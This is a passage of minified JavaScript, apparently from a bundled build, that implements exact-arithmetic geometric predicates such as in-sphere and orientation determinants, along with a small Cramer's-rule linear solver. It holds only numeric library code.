[1]))),_[2]),x(m(x(n(ie,X),k[1]),m(x(n(Q,G),-B[1]),x(n(fe,N),_[1]))),-F[2]))))),Fe=m(m(m(x(m(x(n(ge,we),_[1]),m(x(n(be,K),-F[1]),x(n(pe,j),O[1]))),k[2]),x(m(x(n(ge,we),k[1]),m(x(n(ke,q),-F[1]),x(n(re,J),O[1]))),-_[2])),m(x(m(x(n(be,K),k[1]),m(x(n(ke,q),-_[1]),x(n(Q,G),O[1]))),F[2]),x(m(x(n(pe,j),k[1]),m(x(n(re,J),-_[1]),x(n(Q,G),F[1]))),-O[2]))),m(m(x(m(x(n(be,K),B[1]),m(x(n(_e,V),-_[1]),x(n(ie,X),O[1]))),k[2]),x(m(x(n(be,K),k[1]),m(x(n(ke,q),-_[1]),x(n(Q,G),O[1]))),-B[2])),m(x(m(x(n(_e,V),k[1]),m(x(n(ke,q),-B[1]),x(n(fe,N),O[1]))),_[2]),x(m(x(n(ie,X),k[1]),m(x(n(Q,G),-B[1]),x(n(fe,N),_[1]))),-O[2])))),Oe=n(Te,Fe);return Oe[Oe.length-1]}return I}function T(m,n,C,x){function I(k,B,_,F,O,z){var N=m(m(C(k[0],k[0]),C(k[1],k[1])),m(C(k[2],k[2]),C(k[3],k[3]))),G=x(N,B[0]),J=x(N,_[0]),q=x(N,F[0]),ne=x(N,O[0]),fe=x(N,z[0]),X=m(m(C(B[0],B[0]),C(B[1],B[1])),m(C(B[2],B[2]),C(B[3],B[3]))),W=x(X,k[0]),V=x(X,_[0]),Y=x(X,F[0]),Q=x(X,O[0]),ie=x(X,z[0]),j=m(m(C(_[0],_[0]),C(_[1],_[1])),m(C(_[2],_[2]),C(_[3],_[3]))),K=x(j,k[0]),oe=x(j,B[0]),re=x(j,F[0]),le=x(j,O[0]),pe=x(j,z[0]),we=m(m(C(F[0],F[0]),C(F[1],F[1])),m(C(F[2],F[2]),C(F[3],F[3]))),xe=x(we,k[0]),ke=x(we,B[0]),_e=x(we,_[0]),be=x(we,O[0]),ge=x(we,z[0]),Te=m(m(C(O[0],O[0]),C(O[1],O[1])),m(C(O[2],O[2]),C(O[3],O[3]))),Fe=x(Te,k[0]),Oe=x(Te,B[0]),Ce=x(Te,_[0]),Be=x(Te,F[0]),$e=x(Te,z[0]),Xe=m(m(C(z[0],z[0]),C(z[1],z[1])),m(C(z[2],z[2]),C(z[3],z[3]))),Ze=x(Xe,k[0]),Ke=x(Xe,B[0]),st=x(Xe,_[0]),lt=x(Xe,F[0]),ut=x(Xe,O[0]),yt=m(m(m(x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),_[2]),x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),-F[2])),m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),O[2]),x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),-z[2]))),B[3]),m(x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),B[2]),x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),-F[2])),m(x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),O[2]),x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),-z[2]))),-_[3]),x(m(m(x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),B[2]),x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),-_[2])),m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),O[2]),x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),-z[2]))),F[3]))),m(m(x(m(m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),B[2]),x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),-_[2])),m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),F[2]),x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),-z[2]))),-O[3]),x(m(m(x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),B[2]),x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),-_[2])),m(x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),F[2]),x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),-O[2]))),z[3])),m(x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),B[2]),x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),-F[2])),m(x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),O[2]),x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),-z[2]))),k[3]),x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-F[2])),m(x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),O[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-z[2]))),-B[3])))),m(m(m(x(m(m(x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),O[2]),x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),-z[2]))),F[3]),x(m(m(x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),k[2]),x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),F[2]),x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),-z[2]))),-O[3])),m(x(m(m(x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),k[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-B[2])),m(x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),F[2]),x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),-O[2]))),z[3]),x(m(m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),B[2]),x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),-_[2])),m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),F[2]),x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),-z[2]))),k[3]))),m(m(x(m(m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),k[2]),x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),-_[2])),m(x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),F[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-z[2]))),-B[3]),x(m(m(x(m(x(n(lt,ge),B[1]),m(x(n(Ke,ie),-F[1]),x(n(ke,Y),z[1]))),k[2]),x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),F[2]),x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),-z[2]))),_[3])),m(x(m(m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),k[2]),x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-z[2]))),-F[3]),x(m(m(x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),k[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-B[2])),m(x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-F[2]))),z[3]))))),bt=m(m(m(x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),_[2]),x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),-F[2])),m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),O[2]),x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),-z[2]))),k[3]),m(x(m(m(x(m(x(n(ut,$e),F[1]),m(x(n(lt,ge),-O[1]),x(n(Be,be),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-F[2])),m(x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),O[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-z[2]))),-_[3]),x(m(m(x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-_[2])),m(x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),O[2]),x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),-z[2]))),F[3]))),m(m(x(m(m(x(m(x(n(lt,ge),_[1]),m(x(n(st,pe),-F[1]),x(n(_e,re),z[1]))),k[2]),x(m(x(n(lt,ge),k[1]),m(x(n(Ze,fe),-F[1]),x(n(xe,q),z[1]))),-_[2])),m(x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),F[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-z[2]))),-O[3]),x(m(m(x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),k[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-_[2])),m(x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),F[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-O[2]))),z[3])),m(x(m(m(x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),B[2]),x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),-_[2])),m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),O[2]),x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),-z[2]))),k[3]),x(m(m(x(m(x(n(ut,$e),_[1]),m(x(n(st,pe),-O[1]),x(n(Ce,le),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-_[2])),m(x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),O[2]),x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),-z[2]))),-B[3])))),m(m(m(x(m(m(x(m(x(n(ut,$e),B[1]),m(x(n(Ke,ie),-O[1]),x(n(Oe,Q),z[1]))),k[2]),x(m(x(n(ut,$e),k[1]),m(x(n(Ze,fe),-O[1]),x(n(Fe,ne),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),O[2]),x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),-z[2]))),_[3]),x(m(m(x(m(x(n(st,pe),B[1]),m(x(n(Ke,ie),-_[1]),x(n(oe,V),z[1]))),k[2]),x(m(x(n(st,pe),k[1]),m(x(n(Ze,fe),-_[1]),x(n(K,J),z[1]))),-B[2])),m(x(m(x(n(Ke,ie),k[1]),m(x(n(Ze,fe),-B[1]),x(n(W,G),z[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-z[2]))),-O[3])),m(x(m(m(x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),k[2]),x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),-B[2])),m(x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-O[2]))),z[3]),x(m(m(x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),B[2]),x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),-_[2])),m(x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),F[2]),x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),-O[2]))),k[3]))),m(m(x(m(m(x(m(x(n(Be,be),_[1]),m(x(n(Ce,le),-F[1]),x(n(_e,re),O[1]))),k[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-_[2])),m(x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),F[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-O[2]))),-B[3]),x(m(m(x(m(x(n(Be,be),B[1]),m(x(n(Oe,Q),-F[1]),x(n(ke,Y),O[1]))),k[2]),x(m(x(n(Be,be),k[1]),m(x(n(Fe,ne),-F[1]),x(n(xe,q),O[1]))),-B[2])),m(x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),F[2]),x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),-O[2]))),_[3])),m(x(m(m(x(m(x(n(Ce,le),B[1]),m(x(n(Oe,Q),-_[1]),x(n(oe,V),O[1]))),k[2]),x(m(x(n(Ce,le),k[1]),m(x(n(Fe,ne),-_[1]),x(n(K,J),O[1]))),-B[2])),m(x(m(x(n(Oe,Q),k[1]),m(x(n(Fe,ne),-B[1]),x(n(W,G),O[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-O[2]))),-F[3]),x(m(m(x(m(x(n(_e,re),B[1]),m(x(n(ke,Y),-_[1]),x(n(oe,V),F[1]))),k[2]),x(m(x(n(_e,re),k[1]),m(x(n(xe,q),-_[1]),x(n(K,J),F[1]))),-B[2])),m(x(m(x(n(ke,Y),k[1]),m(x(n(xe,q),-B[1]),x(n(W,G),F[1]))),_[2]),x(m(x(n(oe,V),k[1]),m(x(n(K,J),-B[1]),x(n(W,G),_[1]))),-F[2]))),O[3]))))),Ot=n(yt,bt);return Ot[Ot.length-1]}return I}var w=[y,c,b];function E(m){var n=w[m.length];return n||(n=w[m.length]=s(m.length)),n.apply(void 0,m)}function p(m,n,C,x,I,k,B,_){function F(O,z,N,G,J,q){switch(arguments.length){case 0:case 1:return 0;case 2:return x(O,z);case 3:return I(O,z,N);case 4:return k(O,z,N,G);case 5:return B(O,z,N,G,J);case 6:return _(O,z,N,G,J,q)}for(var ne=new Array(arguments.length),fe=0;fe<arguments.length;++fe)ne[fe]=arguments[fe];return m(ne)}return F}function A(){for(;w.length<=u;)w.push(s(w.length));d.exports=p.apply(void 0,[E].concat(w));for(var m=0;m<=u;++m)d.exports[m]=w[m]}A()},6606:function(d,g,t){var r=t(8167),f=6;function a(w){var E=w===2?s:w===3?y:w===4?c:w===5?b:h;return w<6?E(r[w]):E(r)}function l(){return[[0]]}function u(w,E){return[[E[0]],[w[0][0]]]}function s(w){return function(p,A){return[w([[+A[0],+p[0][1]],[+A[1],+p[1][1]]]),w([[+p[0][0],+A[0]],[+p[1][0],+A[1]]]),w(p)]}}function y(w){return function(p,A){return[w([[+A[0],+p[0][1],+p[0][2]],[+A[1],+p[1][1],+p[1][2]],[+A[2],+p[2][1],+p[2][2]]]),w([[+p[0][0],+A[0],+p[0][2]],[+p[1][0],+A[1],+p[1][2]],[+p[2][0],+A[2],+p[2][2]]]),w([[+p[0][0],+p[0][1],+A[0]],[+p[1][0],+p[1][1],+A[1]],[+p[2][0],+p[2][1],+A[2]]]),w(p)]}}function c(w){return function(p,A){return[w([[+A[0],+p[0][1],+p[0][2],+p[0][3]],[+A[1],+p[1][1],+p[1][2],+p[1][3]],[+A[2],+p[2][1],+p[2][2],+p[2][3]],[+A[3],+p[3][1],+p[3][2],+p[3][3]]]),w([[+p[0][0],+A[0],+p[0][2],+p[0][3]],[+p[1][0],+A[1],+p[1][2],+p[1][3]],[+p[2][0],+A[2],+p[2][2],+p[2][3]],[+p[3][0],+A[3],+p[3][2],+p[3][3]]]),w([[+p[0][0],+p[0][1],+A[0],+p[0][3]],[+p[1][0],+p[1][1],+A[1],+p[1][3]],[+p[2][0],+p[2][1],+A[2],+p[2][3]],[+p[3][0],+p[3][1],+A[3],+p[3][3]]]),w([[+p[0][0],+p[0][1],+p[0][2],+A[0]],[+p[1][0],+p[1][1],+p[1][2],+A[1]],[+p[2][0],+p[2][1],+p[2][2],+A[2]],[+p[3][0],+p[3][1],+p[3][2],+A[3]]]),w(p)]}}function b(w){return function(p,A){return[w([[+A[0],+p[0][1],+p[0][2],+p[0][3],+p[0][4]],[+A[1],+p[1][1],+p[1][2],+p[1][3],+p[1][4]],[+A[2],+p[2][1],+p[2][2],+p[2][3],+p[2][4]],[+A[3],+p[3][1],+p[3][2],+p[3][3],+p[3][4]],[+A[4],+p[4][1],+p[4][2],+p[4][3],+p[4][4]]]),w([[+p[0][0],+A[0],+p[0][2],+p[0][3],+p[0][4]],[+p[1][0],+A[1],+p[1][2],+p[1][3],+p[1][4]],[+p[2][0],+A[2],+p[2][2],+p[2][3],+p[2][4]],[+p[3][0],+A[3],+p[3][2],+p[3][3],+p[3][4]],[+p[4][0],+A[4],+p[4][2],+p[4][3],+p[4][4]]]),w([[+p[0][0],+p[0][1],+A[0],+p[0][3],+p[0][4]],[+p[1][0],+p[1][1],+A[1],+p[1][3],+p[1][4]],[+p[2][0],+p[2][1],+A[2],+p[2][3],+p[2][4]],[+p[3][0],+p[3][1],+A[3],+p[3][3],+p[3][4]],[+p[4][0],+p[4][1],+A[4],+p[4][3],+p[4][4]]]),w([[+p[0][0],+p[0][1],+p[0][2],+A[0],+p[0][4]],[+p[1][0],+p[1][1],+p[1][2],+A[1],+p[1][4]],[+p[2][0],+p[2][1],+p[2][2],+A[2],+p[2][4]],[+p[3][0],+p[3][1],+p[3][2],+A[3],+p[3][4]],[+p[4][0],+p[4][1],+p[4][2],+A[4],+p[4][4]]]),w([[+p[0][0],+p[0][1],+p[0][2],+p[0][3],+A[0]],[+p[1][0],+p[1][1],+p[1][2],+p[1][3],+A[1]],[+p[2][0],+p[2][1],+p[2][2],+p[2][3],+A[2]],[+p[3][0],+p[3][1],+p[3][2],+p[3][3],+A[3]],[+p[4][0],+p[4][1],+p[4][2],+p[4][3],+A[4]]]),w(p)]}}function h(w){return function(p,A){return[w([[+A[0],+p[0][1],+p[0][2],+p[0][3],+p[0][4],+p[0][5]],[+A[1],+p[1][1],+p[1][2],+p[1][3],+p[1][4],+p[1][5]],[+A[2],+p[2][1],+p[2][2],+p[2][3],+p[2][4],+p[2][5]],[+A[3],+p[3][1],+p[3][2],+p[3][3],+p[3][4],+p[3][5]],[+A[4],+p[4][1],+p[4][2],+p[4][3],+p[4][4],+p[4][5]],[+A[5],+p[5][1],+p[5][2],+p[5][3],+p[5][4],+p[5][5]]]),w([[+p[0][0],+A[0],+p[0][2],+p[0][3],+p[0][4],+p[0][5]],[+p[1][0],+A[1],+p[1][2],+p[1][3],+p[1][4],+p[1][5]],[+p[2][0],+A[2],+p[2][2],+p[2][3],+p[2][4],+p[2][5]],[+p[3][0],+A[3],+p[3][2],+p[3][3],+p[3][4],+p[3][5]],[+p[4][0],+A[4],+p[4][2],+p[4][3],+p[4][4],+p[4][5]],[+p[5][0],+A[5],+p[5][2],+p[5][3],+p[5][4],+p[5][5]]]),w([[+p[0][0],+p[0][1],+A[0],+p[0][3],+p[0][4],+p[0][5]],[+p[1][0],+p[1][1],+A[1],+p[1][3],+p[1][4],+p[1][5]],[+p[2][0],+p[2][1],+A[2],+p[2][3],+p[2][4],+p[2][5]],[+p[3][0],+p[3][1],+A[3],+p[3][3],+p[3][4],+p[3][5]],[+p[4][0],+p[4][1],+A[4],+p[4][3],+p[4][4],+p[4][5]],[+p[5][0],+p[5][1],+A[5],+p[5][3],+p[5][4],+p[5][5]]]),w([[+p[0][0],+p[0][1],+p[0][2],+A[0],+p[0][4],+p[0][5]],[+p[1][0],+p[1][1],+p[1][2],+A[1],+p[1][4],+p[1][5]],[+p[2][0],+p[2][1],+p[2][2],+A[2],+p[2][4],+p[2][5]],[+p[3][0],+p[3][1],+p[3][2],+A[3],+p[3][4],+p[3][5]],[+p[4][0],+p[4][1],+p[4][2],+A[4],+p[4][4],+p[4][5]],[+p[5][0],+p[5][1],+p[5][2],+A[5],+p[5][4],+p[5][5]]]),w([[+p[0][0],+p[0][1],+p[0][2],+p[0][3],+A[0],+p[0][5]],[+p[1][0],+p[1][1],+p[1][2],+p[1][3],+A[1],+p[1][5]],[+p[2][0],+p[2][1],+p[2][2],+p[2][3],+A[2],+p[2][5]],[+p[3][0],+p[3][1],+p[3][2],+p[3][3],+A[3],+p[3][5]],[+p[4][0],+p[4][1],+p[4][2],+p[4][3],+A[4],+p[4][5]],[+p[5][0],+p[5][1],+p[5][2],+p[5][3],+A[5],+p[5][5]]]),w([[+p[0][0],+p[0][1],+p[0][2],+p[0][3],+p[0][4],+A[0]],[+p[1][0],+p[1][1],+p[1][2],+p[1][3],+p[1][4],+A[1]],[+p[2][0],+p[2][1],+p[2][2],+p[2][3],+p[2][4],+A[2]],[+p[3][0],+p[3][1],+p[3][2],+p[3][3],+p[3][4],+A[3]],[+p[4][0],+p[4][1],+p[4][2],+p[4][3],+p[4][4],+A[4]],[+p[5][0],+p[5][1],+p[5][2],+p[5][3],+p[5][4],+A[5]]]),w(p)]}}var i=[l,u];function v(w,E,p,A,m,n,C,x){return function(k,B){switch(k.length){case 0:return w(k,B);case 1:return E(k,B);case 2:return p(k,B);case 3:return A(k,B);case 4:return m(k,B);case 5:return n(k,B)}var _=C[k.length];return _||(_=C[k.length]=x(k.length)),_(k,B)}}function T(){for(;i.length<f;)i.push(a(i.length));d.exports=v.apply(void 0,i.concat([i,a]));for(var w=0;w<f;++w)d.exports[w]=i[w]}T()},417:function(d,g,t){var r=t(9660),f=t(9662),a=t(8289),l=t(4078),u=5,s=11102230246251565e-32,y=(3+16*s)*s,c=(7+56*s)*s;function b(n,C,x,I){return function(B,_,F){var O=n(n(C(_[1],F[0]),C(-F[1],_[0])),n(C(B[1],_[0]),C(-_[1],B[0]))),z=n(C(B[1],F[0]),C(-F[1],B[0])),N=I(O,z);return N[N.length-1]}}function h(n,C,x,I){return function(B,_,F,O){var z=n(n(x(n(C(F[1],O[0]),C(-O[1],F[0])),_[2]),n(x(n(C(_[1],O[0]),C(-O[1],_[0])),-F[2]),x(n(C(_[1],F[0]),C(-F[1],_[0])),O[2]))),n(x(n(C(_[1],O[0]),C(-O[1],_[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),O[2])))),N=n(n(x(n(C(F[1],O[0]),C(-O[1],F[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-F[2]),x(n(C(B[1],F[0]),C(-F[1],B[0])),O[2]))),n(x(n(C(_[1],F[0]),C(-F[1],_[0])),B[2]),n(x(n(C(B[1],F[0]),C(-F[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),F[2])))),G=I(z,N);return G[G.length-1]}}function i(n,C,x,I){return function(B,_,F,O,z){var N=n(n(n(x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),F[2]),n(x(n(C(F[1],z[0]),C(-z[1],F[0])),-O[2]),x(n(C(F[1],O[0]),C(-O[1],F[0])),z[2]))),_[3]),n(x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),_[2]),n(x(n(C(_[1],z[0]),C(-z[1],_[0])),-O[2]),x(n(C(_[1],O[0]),C(-O[1],_[0])),z[2]))),-F[3]),x(n(x(n(C(F[1],z[0]),C(-z[1],F[0])),_[2]),n(x(n(C(_[1],z[0]),C(-z[1],_[0])),-F[2]),x(n(C(_[1],F[0]),C(-F[1],_[0])),z[2]))),O[3]))),n(x(n(x(n(C(F[1],O[0]),C(-O[1],F[0])),_[2]),n(x(n(C(_[1],O[0]),C(-O[1],_[0])),-F[2]),x(n(C(_[1],F[0]),C(-F[1],_[0])),O[2]))),-z[3]),n(x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),_[2]),n(x(n(C(_[1],z[0]),C(-z[1],_[0])),-O[2]),x(n(C(_[1],O[0]),C(-O[1],_[0])),z[2]))),B[3]),x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-O[2]),x(n(C(B[1],O[0]),C(-O[1],B[0])),z[2]))),-_[3])))),n(n(x(n(x(n(C(_[1],z[0]),C(-z[1],_[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),z[2]))),O[3]),n(x(n(x(n(C(_[1],O[0]),C(-O[1],_[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),O[2]))),-z[3]),x(n(x(n(C(F[1],O[0]),C(-O[1],F[0])),_[2]),n(x(n(C(_[1],O[0]),C(-O[1],_[0])),-F[2]),x(n(C(_[1],F[0]),C(-F[1],_[0])),O[2]))),B[3]))),n(x(n(x(n(C(F[1],O[0]),C(-O[1],F[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-F[2]),x(n(C(B[1],F[0]),C(-F[1],B[0])),O[2]))),-_[3]),n(x(n(x(n(C(_[1],O[0]),C(-O[1],_[0])),B[2]),n(x(n(C(B[1],O[0]),C(-O[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),O[2]))),F[3]),x(n(x(n(C(_[1],F[0]),C(-F[1],_[0])),B[2]),n(x(n(C(B[1],F[0]),C(-F[1],B[0])),-_[2]),x(n(C(B[1],_[0]),C(-_[1],B[0])),F[2]))),-O[3]))))),G=n(n(n(x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),F[2]),n(x(n(C(F[1],z[0]),C(-z[1],F[0])),-O[2]),x(n(C(F[1],O[0]),C(-O[1],F[0])),z[2]))),B[3]),x(n(x(n(C(O[1],z[0]),C(-z[1],O[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-O[2]),x(n(C(B[1],O[0]),C(-O[1],B[0])),z[2]))),-F[3])),n(x(n(x(n(C(F[1],z[0]),C(-z[1],F[0])),B[2]),n(x(n(C(B[1],z[0]),C(-z[1],B[0])),-F[2]),x(n(C(B[1],F[0]),C(-F[1],B[0])),z[2]))),O[3]),x(n(x(n